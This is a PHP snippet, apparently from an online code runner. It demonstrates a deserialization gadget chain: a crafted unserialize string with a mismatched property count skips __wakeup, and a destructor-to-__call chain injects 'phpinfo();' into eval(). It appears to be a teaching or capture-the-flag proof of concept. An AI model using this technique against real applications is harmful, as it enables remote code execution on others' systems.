3v4l.org

run code in 300+ PHP versions simultaneously
<?php class A{ public $info; public function __destruct(){ $this->info->func(); } } class B{ public $end; public function __wakeup(){ $this->end = "exit();"; echo '__wakeup'; } public function __call($method, $args){ eval('echo "aaaa";' . $this->end . 'echo "bbb";'); } } $b = new B(); $b->info = new A(); //echo serialize($b); unserialize('O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";}');

preferences:
27.18 ms | 404 KiB | 5 Q